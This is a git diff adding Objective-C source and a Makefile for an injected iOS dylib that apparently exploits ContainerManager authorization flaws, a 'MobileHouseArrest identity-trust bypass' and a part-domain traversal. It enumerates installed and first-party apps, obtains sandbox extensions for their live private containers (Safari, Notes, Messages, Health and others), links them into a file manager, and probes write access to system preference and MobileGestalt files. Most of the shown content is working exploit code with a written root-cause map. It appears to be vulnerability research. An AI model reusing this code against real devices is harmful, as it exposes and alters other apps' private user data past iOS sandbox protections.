MCMActivate(10, @"com.apple.lsd", NO, &error); + if (!container.length) { + NSLog(@"[MCMFilza] LaunchServices store unavailable detail=%@", error); + return @[]; + } + NSString *caches = [container stringByAppendingPathComponent:@"Library/Caches"]; + NSArray *names = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:caches error:nil]; + NSMutableOrderedSet *result = [NSMutableOrderedSet orderedSet]; + BOOL reachedLimit = NO; + for (NSString *name in names ?: @[]) { + if (![name hasPrefix:@"com.apple.LaunchServices-"] || + ![name hasSuffix:@"-v2.csstore"]) + continue; + NSString *path = [caches stringByAppendingPathComponent:name]; + NSNumber *size = [[NSFileManager.defaultManager attributesOfItemAtPath:path + error:nil] objectForKey:NSFileSize]; + if (!size || size.unsignedLongLongValue == 0 || + size.unsignedLongLongValue > 64 * 1024 * 1024) + continue; + NSError *readError = nil; + NSData *data = [NSData dataWithContentsOfFile:path + options:NSDataReadingMappedIfSafe error:&readError]; + if (!data) { + NSLog(@"[MCMFilza] LaunchServices store read failed path=%@ error=%@", + path, readError); + continue; + } + const uint8_t *bytes = data.bytes; + NSUInteger start = NSNotFound; + for (NSUInteger index = 0; index <= data.length; index++) { + BOOL allowed = index < data.length && + MCMLaunchServicesIdentifierByte(bytes[index]); + if (allowed) { + if (start == NSNotFound) start = index; + continue; + } + if (start == NSNotFound) continue; + NSUInteger length = index - start; + if (length >= 3 && length <= 255) { + NSString *identifier = [[NSString alloc] + initWithBytes:bytes + start length:length + encoding:NSUTF8StringEncoding]; + BOOL malformedDots = [identifier containsString:@".."]; + BOOL looksLikeIdentifier = MCMSafeIdentifier(identifier) && + [identifier containsString:@"."] && + ![identifier hasPrefix:@"."] && + ![identifier hasSuffix:@"."] && !malformedDots; + if (looksLikeIdentifier) { + [result addObject:identifier]; + if (result.count >= kMaximumCandidateCount) { + reachedLimit = YES; + break; + } + } + } + start = NSNotFound; + } + NSLog(@"[MCMFilza] LaunchServices store path=%@ bytes=%lu candidates=%lu", + path, (unsigned long)data.length, (unsigned long)result.count); + if (reachedLimit) break; + } + if (reachedLimit) + NSLog(@"[MCMFilza] LaunchServices store candidate limit reached"); + NSLog(@"[MCMFilza] LaunchServices store total candidates=%lu", + (unsigned long)result.count); + MCMLogExpectedIdentifierCoverage(@"LaunchServices store", + [NSSet setWithArray:result.array]); + return result.array; +} + +static NSArray *MCMInstalledApplicationIdentifiers(void) +{ + Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace"); + id workspace = [workspaceClass respondsToSelector:@selector(defaultWorkspace)] + ? [workspaceClass defaultWorkspace] : nil; + NSArray *applications = [workspace respondsToSelector:@selector(allApplications)] + ? [workspace allApplications] : @[]; + NSMutableOrderedSet *result = [NSMutableOrderedSet orderedSet]; + for (id proxy in applications) { + NSString *identifier = [proxy respondsToSelector:@selector(applicationIdentifier)] + ? [proxy applicationIdentifier] : nil; + if (!MCMSafeIdentifier(identifier) && + [proxy respondsToSelector:@selector(bundleIdentifier)]) + identifier = [proxy bundleIdentifier]; + if (MCMSafeIdentifier(identifier)) [result addObject:identifier]; + if (result.count >= 1024) break; + } + + return result.array; +} + +static NSArray *MCMResearchTargetIdentifiers(void) +{ + // Enumeration via container_query_iterate_results_sync returns near-empty + // results on iOS 26 even though direct lookups succeed. Seed all known + // first-party identifiers so the MHA bypass can resolve them by name. + return @[ + @"com.apple.mobilesafari", + @"com.apple.mobilenotes", + @"com.apple.Maps", + @"com.apple.facetime", + @"com.apple.iBooks", + @"com.apple.podcasts", + @"com.apple.PosterBoard", + @"com.apple.mobilemail", + @"com.apple.weather", + @"com.apple.camera", + @"com.apple.Health", + @"com.apple.Fitness", + @"com.apple.tips", + @"com.apple.Passbook", + @"com.apple.reminders", + @"com.apple.stocks", + @"com.apple.news", + @"com.apple.Home", + @"com.apple.tv", + @"com.apple.shortcuts", + @"com.apple.freeform", + @"com.apple.calculator", + @"com.apple.MobileSMS", + @"com.apple.InCallService", + @"com.apple.Preferences", + @"com.apple.springboard", + @"com.apple.Photos", + @"com.apple.AppStore", + @"com.apple.Music", + @"com.apple.Bridge", + @"com.apple.Clock", + @"com.apple.VoiceMemos", + @"com.apple.Translate", + @"com.apple.measure", + @"com.apple.compass", + @"com.apple.Magnifier", + @"com.apple.DocumentsApp", + ]; +} + +static NSArray *MCMCustomIdentifierKeys(void) +{ + return @[ + @"AppData", + @"AppGroups", + @"ExtensionData", + @"VPNData", + @"ServiceData", + @"SystemData", + @"SystemGroups", + @"ProtectedData", + ]; +} + +static NSArray *MCMDynamicIdentifiers(uint64_t containerClass) +{ + NSString *error = nil; + NSArray *identifiers = MCMEnumerateIdentifiersForClass(containerClass, 1024, &error); + NSLog(@"[MCMFilza] discovery class=%llu count=%lu detail=%@", containerClass, + (unsigned long)identifiers.count, error); + NSMutableArray *safe = [NSMutableArray arrayWithCapacity:identifiers.count]; + for (NSString *identifier in identifiers) + if (MCMSafeIdentifier(identifier)) [safe addObject:identifier]; + return safe; +} + +static NSDictionary *MCMCustomIdentifiers(void) +{ + if (getenv("FILZA_MCM_IGNORE_CUSTOM_IDENTIFIERS")) { + NSMutableDictionary *empty = [NSMutableDictionary dictionary]; + for (NSString *key in MCMCustomIdentifierKeys()) empty[key] = @[]; + return empty; + } + NSString *documentsPath = [MCMFilzaVirtualRoot().stringByDeletingLastPathComponent + stringByAppendingPathComponent:@"MCMIdentifiers.plist"]; + NSString *bundlePath = [NSBundle.mainBundle pathForResource:@"MCMIdentifiers" + ofType:@"plist"]; + NSMutableDictionary *merged = [NSMutableDictionary dictionary]; + for (NSString *key in MCMCustomIdentifierKeys()) + merged[key] = [NSMutableOrderedSet orderedSet]; + for (NSString *path in @[bundlePath ?: @"", documentsPath]) { + NSDictionary *value = [NSDictionary dictionaryWithContentsOfFile:path]; + if (![value isKindOfClass:NSDictionary.class]) continue; + for (NSString *key in merged) { + NSArray *identifiers = [value[key] isKindOfClass:NSArray.class] ? value[key] : @[]; + for (id identifier in identifiers) + if ([identifier isKindOfClass:NSString.class] && MCMSafeIdentifier(identifier)) + [merged[key] addObject:identifier]; + } + } + for (NSString *key in MCMCustomIdentifierKeys()) + merged[key] = [merged[key] array]; + return merged; +} + +static void MCMWriteInstructions(void) +{ + NSString *path = [MCMFilzaVirtualRoot() stringByAppendingPathComponent:@"README.txt"]; + NSString *text = @"Device storage research build\n\n" + @"MHA means the MobileHouseArrest identity-trust bypass. C2 through C15 identify the ContainerManager class used by each folder.\n" + @"[MHA-C2] App Data contains class-2 containers resolved from installed app identifiers.\n" + @"These are live private containers, not copies. Filza edits affect the target app.\n" + @"[MHA-Mixed EXP] Experimental contains fixed consumer traversal probes and records failures in Probe Results.plist.\n" + @"The custom copy/paste route is disabled there, but successful links still point to live directories.\n" + @"This build does not provide root, kernel R/W, arbitrary /var, Keychain, TCC, or app-bundle access.\n\n" + @"Optional target configuration is documented in the research source repository.\n"; + MCMWriteGeneratedString(text, path); +} + +static NSArray *> * +MCMSymlinkAccessEntries(NSFileManager *manager, NSString *directory) +{ + NSArray *names = [[manager contentsOfDirectoryAtPath:directory + error:nil] + sortedArrayUsingSelector:@selector(localizedStandardCompare:)]; + NSMutableArray *> *entries = + [NSMutableArray array]; + for (NSString *name in names ?: @[]) { + NSString *path = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0 || + !S_ISLNK(status.st_mode)) + continue; + + char target[PATH_MAX] = {0}; + ssize_t count = readlink(path.fileSystemRepresentation, target, + sizeof(target) - 1); + if (count <= 0) continue; + target[count] = '\0'; + NSString *targetPath = [NSString stringWithUTF8String:target]; + if (targetPath.length == 0) continue; + [entries addObject:@{@"Name": name, @"Target": targetPath}]; + } + return entries; +} + +static void MCMAppendSymlinkAccess(NSMutableString *text, + NSArray *> *entries) +{ + if (entries.count == 0) { + [text appendString:@"Enabled roots: none.\n"]; + return; + } + [text appendString:@"Enabled roots:\n"]; + for (NSDictionary *entry in entries) { + [text appendFormat:@"• %@\n root: %@\n", + entry[@"Name"], entry[@"Target"]]; + } + [text appendString: + @"The sandbox extension covers each listed root. Descendant access still depends on filesystem and Data Protection controls.\n"]; +} + +static void MCMAppendExperimentalSubpaths(NSMutableString *text, + NSString *experimentalDirectory) +{ + NSString *resultsPath = [experimentalDirectory + stringByAppendingPathComponent:@"Probe Results.plist"]; + NSArray *results = [NSArray arrayWithContentsOfFile:resultsPath]; + if (results.count == 0) return; + + [text appendString:@"\nExperimental returned paths and checked subpaths:\n"]; + for (NSDictionary *result in results) { + NSString *name = [result[@"Name"] isKindOfClass:NSString.class] + ? result[@"Name"] : @"Unnamed probe"; + NSString *returnedPath = [result[@"ReturnedPath"] isKindOfClass:NSString.class] + ? result[@"ReturnedPath"] : nil; + [text appendFormat:@"• %@ — status=%@\n", name, + result[@"Status"] ?: @"unknown"]; + if (returnedPath.length > 0) + [text appendFormat:@" returned root: %@\n", returnedPath]; + + NSArray *subpaths = + [result[@"ExpectedPathStatus"] isKindOfClass:NSArray.class] + ? result[@"ExpectedPathStatus"] : @[]; + for (NSDictionary *subpath in subpaths) { + NSString *path = [subpath[@"Path"] isKindOfClass:NSString.class] + ? subpath[@"Path"] : @""; + [text appendFormat: + @" checked subpath: %@ — exists=%@ readable=%@ writable=%@ open=%@\n", + path, + [subpath[@"Exists"] boolValue] ? @"yes" : @"no", + [subpath[@"Readable"] boolValue] ? @"yes" : @"no", + [subpath[@"Writable"] boolValue] ? @"yes" : @"no", + [subpath[@"ReadOnlyOpen"] boolValue] ? @"yes" : @"no"]; + } + } +} + +static void MCMWriteAccessReadme(NSFileManager *manager, NSString *directory, + NSString *text) +{ + BOOL isDirectory = NO; + if (![manager fileExistsAtPath:directory isDirectory:&isDirectory] || + !isDirectory) + return; + NSString *path = [directory + stringByAppendingPathComponent:@"README - Access.txt"]; + MCMWriteGeneratedString(text, path); +} + +static void MCMAppendUnifiedFindingMap(NSMutableString *map) +{ + [map appendString: + @"Root-cause map\n\n" + "Issue A — MobileHouseArrest identity-trust bypass\n" + "Component: MobileContainerManager and containermanagerd.\n" + "Trigger: the app has the signed code identifier com.apple.mobile.MobileHouseArrest.\n" + "Primitive: MobileContainerManager accepts that caller identity and issues foreign-container sandbox extensions.\n" + "Current 24A5390f proof: class-2 Safari, class-2 Notes, and class-7 Notes-group roots passed token activation and readdir. The stock-identity control denied all three targets. A nonexistent target was denied.\n" + "Relation: the labeled Filza folders below use this one identity-trust bypass with different container classes.\n\n" + + "Issue B — built-in class-12 geod lookup and part-domain traversal\n" + "Component: MobileContainerManager and containermanagerd.\n" + "Trigger: class 12 with identifier com.apple.geod. ContainerManagerCommon includes geod in its built-in lookup-bypass list.\n" + "Current 24A5390f proof: container_system_path_for_identifier returned /private/var/containers/Data/System/com.apple.geod, and readdir listed Documents, Library, tmp, and the metadata plist. Opening the metadata plist still failed with EPERM.\n" + "Archived 24A5380h proof: class 12, part 3, flags 0x8100000000, and a traversal part-domain reached the MobileGestalt Caches directory. A 275-byte read-write extension allowed a chosen plist marker. The test restored the original inode and SHA-256.\n" + "Relation: this route does not require the MobileHouseArrest identity. The geod allow path and unchecked part-domain are separate authorization defects.\n\n" + + "Issue C — class-13 well-known MobileGestalt group authorization gap\n" + "Component: MobileContainerManager and containermanagerd.\n" + "Trigger: class 13, group systemgroup.com.apple.mobilegestaltcache, part 3, and flags 0x8100000000.\n" + "Target root: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches\n" + "Target file: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist\n" + "Archived 24A5380h proof: an ordinary sandboxed caller received a 275-byte read-write extension. The caller installed a chosen CodexMCMWriteProof marker, verified the bytes, and restored the original inode and SHA-256.\n" + "Current 24A5390f boundary: simple system-group path and class-13 queries were denied. Those simple queries did not repeat the archived part-3 read-write request.\n" + "Relation: this authorization gap is separate from the MobileHouseArrest identity-trust bypass.\n\n" + + "Rejected route — raw ProxyForClient spoof\n" + "Current 24A5390f proof: raw containermanagerd command 39 rejected MobileHouseArrest, mobile_installation_proxy, filecoordinationd, accountsd, and Safari.History identities. No reply contained a container path or sandbox token.\n\n" + + "MobileGestalt route summary\n" + "Direct route: class-13 well-known-group authorization gap -> MobileGestalt Caches.\n" + "Pivot route: class-12 geod allow path -> part-3 domain traversal -> MobileGestalt Caches.\n" + "Both routes reach the same fixed target. Neither route proves arbitrary /var access.\n" + "No result here claims root, kernel, Keychain, TCC, or app-bundle access.\n\n" + + "Current Filza access\n" + "The sections below are generated during the current launch.\n" + "Only direct symlinks created after token activation and a directory-open check appear as enabled roots.\n" + "Experimental sections also show each checked subpath and its current open status.\n\n"]; +} + +static NSString *MCMSpringBoardPreferencesWriteCheck(void) +{ + static const char *target = + "/private/var/mobile/Library/Preferences/com.apple.springboard.plist"; + struct stat targetStatus = {0}; + errno = 0; + int statResult = lstat(target, &targetStatus); + int statErrno = statResult == 0 ? 0 : errno; + + errno = 0; + int readDescriptor = open(target, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + int readErrno = readDescriptor >= 0 ? 0 : errno; + if (readDescriptor >= 0) close(readDescriptor); + + errno = 0; + int writeDescriptor = open(target, O_RDWR | O_CLOEXEC | O_NOFOLLOW); + int writeErrno = writeDescriptor >= 0 ? 0 : errno; + if (writeDescriptor >= 0) close(writeDescriptor); + + NSString *verdict = nil; + const char *notification = NULL; + if (writeDescriptor >= 0) { + verdict = @"WRITABLE-DESCRIPTOR"; + notification = + "local.research.mcm.springboardprefs.writable"; + } else if (writeErrno == EPERM || writeErrno == EACCES) { + verdict = @"DENIED"; + notification = + "local.research.mcm.springboardprefs.denied"; + } else if (writeErrno == ENOENT) { + verdict = @"MISSING"; + notification = + "local.research.mcm.springboardprefs.missing"; + } else { + verdict = @"ERROR"; + notification = + "local.research.mcm.springboardprefs.error"; + } + int notifyResult = notify_post(notification); + + return [NSString stringWithFormat: + @"SpringBoard preferences exact write-authority check\n" + "Target: %s\n" + "Method: open with O_RDWR | O_CLOEXEC | O_NOFOLLOW after all current MCM routes were activated.\n" + "Result: %@; open errno=%d (%s).\n" + "Read-only open: %@; errno=%d (%s).\n" + "Target metadata: lstat=%@; errno=%d (%s); mode=%04o; uid=%u; gid=%u.\n" + "No bytes were written. The probe did not rename, replace, truncate, or unlink the target.\n" + "Host notification: %s; notify_post=%d.\n\n", + target, verdict, writeErrno, strerror(writeErrno), + readDescriptor >= 0 ? @"allowed" : @"denied", + readErrno, strerror(readErrno), + statResult == 0 ? @"present" : @"unavailable", + statErrno, strerror(statErrno), + statResult == 0 ? targetStatus.st_mode & 07777 : 0, + statResult == 0 ? targetStatus.st_uid : 0, + statResult == 0 ? targetStatus.st_gid : 0, + notification, notifyResult]; +} + +static void MCMWriteAccessMap(NSFileManager *manager, NSString *root) +{ + NSArray *> *categories = @[ + @{@"Name": kMCMAppDataDirectoryName, + @"Primitive": @"MHA-MCM class 2 application-data lookup and sandbox extension"}, + @{@"Name": kMCMAppGroupsDirectoryName, + @"Primitive": @"MHA-MCM class 7 app-group lookup and sandbox extension"}, + @{@"Name": kMCMExtensionDataDirectoryName, + @"Primitive": @"MHA-MCM class 4 extension-data lookup and sandbox extension"}, + @{@"Name": kMCMVPNDataDirectoryName, + @"Primitive": @"MHA-MCM class 6 VPN-data lookup and sandbox extension"}, + @{@"Name": kMCMServiceDataDirectoryName, + @"Primitive": @"MHA-MCM class 10 service-data lookup and sandbox extension"}, + @{@"Name": kMCMSystemDataDirectoryName, + @"Primitive": @"MHA-MCM class 12 system-data lookup and sandbox extension"}, + @{@"Name": kMCMSystemGroupsDirectoryName, + @"Primitive": @"MHA-MCM class 13 system-group lookup and sandbox extension"}, + @{@"Name": kMCMProtectedDataDirectoryName, + @"Primitive": @"MHA-MCM class 15 protected-data lookup and sandbox extension"}, + @{@"Name": kMCMAdditionalLocationsDirectoryName, + @"Primitive": @"MHA-MCM class 13 scoped part-domain lookup and sandbox extension"}, + @{@"Name": kMCMExperimentalDirectoryName, + @"Primitive": @"MHA-MCM scoped class 10, 12, 13, and 15 probes"}, + ]; + + NSMutableString *map = [NSMutableString stringWithFormat: + @"MobileContainerManager and MobileGestalt complete map\n\n" + "MHA-MCM means the MobileHouseArrest identity-trust bypass in MobileContainerManager.\n" + "Build-specific proof is labeled below. The current device is %@.\n" + "The map records roots and preselected probe subpaths. It does not enumerate files inside target containers.\n\n", + NSProcessInfo.processInfo.operatingSystemVersionString]; + MCMAppendUnifiedFindingMap(map); + [map appendString:MCMSpringBoardPreferencesWriteCheck()]; + + for (NSDictionary *category in categories) { + NSString *name = category[@"Name"]; + NSString *primitive = category[@"Primitive"]; + NSString *directory = [root stringByAppendingPathComponent:name]; + BOOL isDirectory = NO; + BOOL present = [manager fileExistsAtPath:directory + isDirectory:&isDirectory] && isDirectory; + NSArray *> *entries = present + ? MCMSymlinkAccessEntries(manager, directory) : @[]; + + NSMutableString *section = [NSMutableString stringWithFormat: + @"%@\nPrimitive: %@\n", name, primitive]; + if (!present) + [section appendString:@"Status: folder absent; no root was enabled.\n"]; + else + MCMAppendSymlinkAccess(section, entries); + if ([name isEqualToString:kMCMExperimentalDirectoryName]) + MCMAppendExperimentalSubpaths(section, directory); + [section appendString:@"\n"]; + [map appendString:section]; + if (present) MCMWriteAccessReadme(manager, directory, section); + } + + NSString *wallpaperDirectory = [root + stringByAppendingPathComponent:kMCMWallpaperLabDirectoryName]; + NSString *wallpaperSection = [NSString stringWithFormat: + @"%@\n" + "Primitive: MHA-MCM class 2 application-data lookup for com.apple.PosterBoard.\n" + "Status: this folder is local staging. PosterBoard access starts only during a Wallpaper Lab action.\n" + "Potential target root: the class-2 com.apple.PosterBoard data container returned during that action.\n\n", + kMCMWallpaperLabDirectoryName]; + [map appendString:wallpaperSection]; + MCMWriteAccessReadme(manager, wallpaperDirectory, wallpaperSection); + + [map appendString: + @"Files Traversal\n" + "Primitive: Apple Files relative-symlink portal experiment.\n" + "Status: disabled. This build removes the folder and enables no Files Traversal path.\n\n" + "Boundary: no arbitrary /var, Keychain, TCC, root, kernel, or app-bundle access is claimed.\n"]; + + NSString *mapPath = [root stringByAppendingPathComponent:@"ACCESS MAP.txt"]; + MCMWriteGeneratedString(map, mapPath); +} + +static void MCMPruneEmptyGeneratedDirectory(NSString *directory) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSArray *entries = [fm contentsOfDirectoryAtPath:directory + error:nil]; + for (NSString *entry in entries ?: @[]) { + NSString *path = [directory stringByAppendingPathComponent:entry]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0 || + !S_ISLNK(status.st_mode)) + continue; + + NSArray *targetEntries = [fm contentsOfDirectoryAtPath:path error:nil]; + if (targetEntries.count == 0) { + unlink(path.fileSystemRepresentation); + NSLog(@"[MCMFilza] removed empty generated link path=%@", path); + } + } + + entries = [fm contentsOfDirectoryAtPath:directory error:nil]; + if (entries.count == 0 && rmdir(directory.fileSystemRepresentation) == 0) + NSLog(@"[MCMFilza] removed empty category path=%@", directory); +} + +void MCMFilzaStart(void) +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + MCMEnsureState(); + if (MCMFilzaIsRunningInLiveContainer()) { + MCMInstallLiveContainerRoot(); + return; + } + NSString *actual = MCMSignedCodeIdentifier(); + if (![actual isEqualToString:kRequiredIdentifier]) { + NSLog(@"[MCMFilza] disabled: signed code identifier %@ must be %@ (bundle=%@)", + actual, kRequiredIdentifier, NSBundle.mainBundle.bundleIdentifier); + return; + } + if (!MCMBridgeAvailable()) { + NSLog(@"[MCMFilza] disabled: ContainerManager symbols unavailable"); + return; + } + NSFileManager *fm = NSFileManager.defaultManager; + NSString *root = MCMFilzaVirtualRoot(); + NSString *legacyRoot = [root.stringByDeletingLastPathComponent + stringByAppendingPathComponent:@"MCM Containers"]; + if ([fm fileExistsAtPath:legacyRoot] && ![fm fileExistsAtPath:root]) + [fm moveItemAtPath:legacyRoot toPath:root error:nil]; + else if ([fm fileExistsAtPath:legacyRoot]) + [fm removeItemAtPath:legacyRoot error:nil]; + MCMMigrateLegacyTopLevelNames(fm, root); + NSString *apps = [root stringByAppendingPathComponent:kMCMAppDataDirectoryName]; + NSString *groups = [root stringByAppendingPathComponent:kMCMAppGroupsDirectoryName]; + NSString *extensions = [root + stringByAppendingPathComponent:kMCMExtensionDataDirectoryName]; + NSString *vpnData = [root stringByAppendingPathComponent:kMCMVPNDataDirectoryName]; + NSString *serviceData = [root + stringByAppendingPathComponent:kMCMServiceDataDirectoryName]; + NSString *systemData = [root + stringByAppendingPathComponent:kMCMSystemDataDirectoryName]; + NSString *systemGroups = [root + stringByAppendingPathComponent:kMCMSystemGroupsDirectoryName]; + NSString *protectedData = [root + stringByAppendingPathComponent:kMCMProtectedDataDirectoryName]; + NSString *additionalLocations = [root + stringByAppendingPathComponent:kMCMAdditionalLocationsDirectoryName]; + NSString *experimental = [root + stringByAppendingPathComponent:kMCMExperimentalDirectoryName]; + NSString *filesTraversal = [root stringByAppendingPathComponent:@"Files Traversal"]; + [fm removeItemAtPath:filesTraversal error:nil]; + for (NSString *directory in @[root, apps, groups, extensions, vpnData, + serviceData, systemData, systemGroups, + protectedData, additionalLocations, + experimental]) + [fm createDirectoryAtPath:directory withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} error:nil]; + MCMInstallArchiveAlias(fm, root); + MCMResetAppLinksForTesting(apps); + + NSMutableOrderedSet *appIdentifiers = [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(2)]; + [appIdentifiers addObjectsFromArray:MCMInstalledApplicationIdentifiers()]; + NSArray *launchServicesIdentifiers = + MCMLaunchServicesStoreIdentifiers(); + // Keep the proven targets as a compatibility fallback when metadata + // enumeration is denied or incomplete on a particular build. + [appIdentifiers addObjectsFromArray:MCMResearchTargetIdentifiers()]; + NSDictionary *custom = MCMCustomIdentifiers(); + for (id value in [custom[@"AppData"] isKindOfClass:NSArray.class] ? custom[@"AppData"] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) [appIdentifiers addObject:value]; + for (NSString *identifier in appIdentifiers) + MCMInstallLink(apps, identifier, 2, NO); + for (NSString *identifier in launchServicesIdentifiers) + if (![appIdentifiers containsObject:identifier]) + MCMInstallLinkWithFailureLogging(apps, identifier, 2, NO, NO); + MCMLogExpectedIdentifierCoverage(@"App Data links", + [NSSet setWithArray:[fm contentsOfDirectoryAtPath:apps error:nil] ?: @[]]); + NSMutableOrderedSet *groupIdentifiers = [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(7)]; + [groupIdentifiers addObjectsFromArray:@[ + @"group.com.apple.notes", + @"group.com.apple.safari", + @"group.com.apple.weather", + @"group.com.apple.stocks", + ]]; + for (id value in [custom[@"AppGroups"] isKindOfClass:NSArray.class] ? custom[@"AppGroups"] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) + [groupIdentifiers addObject:value]; + for (NSString *identifier in groupIdentifiers) + MCMInstallLink(groups, identifier, 7, YES); + NSMutableOrderedSet *extensionIdentifiers = [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(4)]; + for (id value in [custom[@"ExtensionData"] isKindOfClass:NSArray.class] ? custom[@"ExtensionData"] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) + [extensionIdentifiers addObject:value]; + for (NSString *identifier in extensionIdentifiers) + MCMInstallLink(extensions, identifier, 4, NO); + + MCMInstallDirectFilesystemLinks(apps, + @"/private/var/mobile/Containers/Data/Application"); + MCMInstallDirectFilesystemLinks(groups, + @"/private/var/mobile/Containers/Shared/AppGroup"); + MCMInstallDirectFilesystemLinks(extensions, + @"/private/var/mobile/Containers/Data/PluginKitPlugin"); + + NSArray *additionalCategories = @[ + @{@"Directory": vpnData, @"Class": @6, @"Group": @(NO), + @"CustomKey": @"VPNData", @"Fallback": @[]}, + @{@"Directory": serviceData, @"Class": @10, @"Group": @(NO), + @"CustomKey": @"ServiceData", @"Fallback": @[ + @"com.apple.swcd", @"com.apple.familycircled", + @"com.apple.locationd", @"com.apple.installd", + @"com.apple.accountsd", @"com.apple.itunescloudd", + @"com.apple.nanonewscd"]}, + @{@"Directory": systemData, @"Class": @12, @"Group": @(NO), + @"CustomKey": @"SystemData", @"Fallback": @[ + @"com.apple.eligibilityd", @"com.apple.geod", + @"com.apple.springboard"]}, + @{@"Directory": systemGroups, @"Class": @13, @"Group": @(YES), + @"CustomKey": @"SystemGroups", @"Fallback": @[ + @"systemgroup.com.apple.configurationprofiles", + @"systemgroup.com.apple.pisco.suinfo", + @"systemgroup.com.apple.lsd.iconscache", + @"systemgroup.com.apple.icloud.findmydevice.managed", + @"systemgroup.com.apple.ondemandresources", + @"systemgroup.com.apple.mobilegestaltcache", + @"systemgroup.com.apple.nsurlstoragedresources", + @"systemgroup.com.apple.installcoordinationd", + @"systemgroup.com.apple.osanalytics", + @"systemgroup.com.apple.ContainerManagerTest.fixed"]}, + @{@"Directory": protectedData, @"Class": @15, @"Group": @(NO), + @"CustomKey": @"ProtectedData", @"Fallback": @[ + @"com.apple.appmanagedfeaturesd"]}, + ]; + for (NSDictionary *category in additionalCategories) { + uint64_t containerClass = [category[@"Class"] unsignedLongLongValue]; + NSMutableOrderedSet *identifiers = + [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(containerClass)]; + [identifiers addObjectsFromArray:category[@"Fallback"]]; + NSString *customKey = category[@"CustomKey"]; + for (id value in [custom[customKey] isKindOfClass:NSArray.class] + ? custom[customKey] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) + [identifiers addObject:value]; + for (NSString *identifier in identifiers) + MCMInstallLink(category[@"Directory"], identifier, containerClass, + [category[@"Group"] boolValue]); + } + + MCMInstallDirectFilesystemLinks(vpnData, + @"/private/var/mobile/Containers/Data/VPNPlugin"); + MCMInstallDirectFilesystemLinks(serviceData, + @"/private/var/mobile/Containers/Data/InternalDaemon"); + MCMInstallDirectFilesystemLinks(systemData, + @"/private/var/mobile/Containers/Data/System"); + MCMInstallDirectFilesystemLinks(systemGroups, + @"/private/var/mobile/Containers/Shared/SystemGroup"); + MCMInstallDirectFilesystemLinks(protectedData, + @"/private/var/mobile/Containers/Data/Protected"); + + // These part-domain lookups remain inside their server-selected system + // group. They expose proven sibling directories but do not grant an + // arbitrary path outside the managed group root. + NSArray *> *additionalLocationMigrations = @[ + @[@"Install Coordination", @"[MHA-C13] Install Coordination"], + @[@"Configuration Profiles", @"[MHA-C13] Configuration Profiles"], + @[@"MobileGestalt Cache", @"[MHA-C13] MobileGestalt Cache"], + ]; + for (NSArray *migration in additionalLocationMigrations) + MCMMigrateStorageEntry(fm, additionalLocations, + migration[0], migration[1]); + + MCMInstallScopedLink(additionalLocations, + @"[MHA-C13] Install Coordination", 13, + @"systemgroup.com.apple.installcoordinationd", YES, 3, + @"../InstallCoordination"); + // Use the group root here. A part-3 ConfigurationProfiles lookup can + // run the ContainerManager directory finalizer on the resolved path. + MCMInstallScopedLink(additionalLocations, + @"[MHA-C13] Configuration Profiles", 13, + @"systemgroup.com.apple.configurationprofiles", YES, 0, nil); + MCMInstallScopedLink(additionalLocations, + @"[MHA-C13] MobileGestalt Cache", 13, + @"systemgroup.com.apple.mobilegestaltcache", YES, 3, nil); + MCMInstallExperimentalFolder(experimental); + if (!gUnrestrictedFilesystem) { + for (NSString *directory in @[apps, groups, extensions, vpnData, + serviceData, systemData, systemGroups, + protectedData, additionalLocations]) + MCMPruneEmptyGeneratedDirectory(directory); + } + MCMWriteAccessMap(fm, root); + MCMWriteInstructions(); + MCMRunGeneratedDeletionProbe(fm, root); + NSError *listError = nil; + NSArray *visibleEntries = [fm contentsOfDirectoryAtPath:root error:&listError]; + NSLog(@"[MCMFilza] ready root=%@ active_leases=%lu entries=%@ list_error=%@", root, + (unsigned long)gLeases.count, visibleEntries, listError); + }); +} diff --git a/MCMIdentifiers.example.plist b/MCMIdentifiers.example.plist new file mode 100644 index 0000000..eae54b7 --- /dev/null +++ b/MCMIdentifiers.example.plist @@ -0,0 +1,24 @@ + + + + + AppData + + com.example.controlled-victim + + AppGroups + + ExtensionData + + VPNData + + ServiceData + + SystemData + + SystemGroups + + ProtectedData + + + diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..7a22986 --- /dev/null +++ b/Makefile @@ -0,0 +1,41 @@ +# Use the newest SDK bundled with this Theos installation. ContainerManager +# entry points are resolved at runtime, so private SDK headers are not needed. +TARGET := iphone:clang:latest:15.0 +ARCHS = arm64 + +include $(THEOS)/makefiles/common.mk + +TWEAK_NAME = FilzaApplySandboxExt + +# This is a plain injected dylib, not a Logos/Substrate tweak. The default +# MobileSubstrate generator would link CydiaSubstrate.framework, which does not +# exist on a normally signed device. +LOGOS_DEFAULT_GENERATOR = internal + +FilzaApplySandboxExt_FILES = Tweak.m MCMBridge.m MCMFilzaIntegration.m \ + PosterBoardFeature.m UpdateChecker.m \ + worse_query.m pathleak.m fallback_query.m \ + WQFilzaIntegration.m WQWebDAVServer.m WQStartupUI.m \ + WQTerminal.m WQPackages.m WQSSHServer.m WQRespring.m WQArchive.m + +# --- Flags --- +FilzaApplySandboxExt_CFLAGS = -I$(PWD)/compat -I$(PWD) -I$(PWD)/XPF/src -I$(PWD)/XPF/external/ChOma/include \ + -fobjc-arc \ + -Wno-unused-function -Wno-unused-variable -Wno-unused-but-set-variable \ + -Wno-incompatible-pointer-types -Wno-incompatible-pointer-types-discards-qualifiers \ + -Wno-deprecated-declarations -Wno-nonportable-include-path -Wno-format 